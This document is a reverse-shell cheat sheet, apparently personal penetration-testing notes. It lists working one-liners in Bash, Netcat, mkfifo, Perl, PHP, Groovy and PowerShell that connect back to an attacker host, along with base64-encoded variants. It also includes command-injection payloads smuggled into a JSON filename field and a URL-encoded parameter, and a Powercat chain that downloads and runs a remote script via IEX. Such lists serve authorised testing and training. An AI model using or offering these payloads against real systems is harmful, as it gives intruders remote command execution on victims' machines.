Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

If this not work try base64 encoded it can solve problems with the quotes

echo -n 'bash -i >& /dev/tcp/192.168.45.184/4444 0>&1' | base64

This encode in base64 the rev shell, and then we can use it like this:

echo <BASE64_PAYLOAD> | base64 -d | bash

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) Reverse Shell

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

Markdown Reverse Shell

mkfifo Reverse Shell

mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell

Netcat Reverse Shell

nc -e /bin/sh <LHOST> <LPORT>

Perl Reverse Shell

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP Reverse Shell

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"); ?>

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

Powercat

Start a new terminal, copy Powercat to the home directory for the kali user, and start a Python3 web server in the same directory.

cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .

python3 -m http.server 80

Next, we'll start a third terminal tab to create a Netcat listener on port 4444 to catch the reverse shell.

nc -nvlp 4444

IEX (New-Object System.Net.Webclient).DownloadString("http://<ip>/powercat.ps1");powercat -c <ip> -p 4444 -e powershell

Using URL Encoding:

curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F<IP>%2Fpowercat.ps1%22)%3Bpowercat%20-c%20<IP>%20-p%204444%20-e%20powershell' http://<IP>/archive

Use Encoded powershell payload
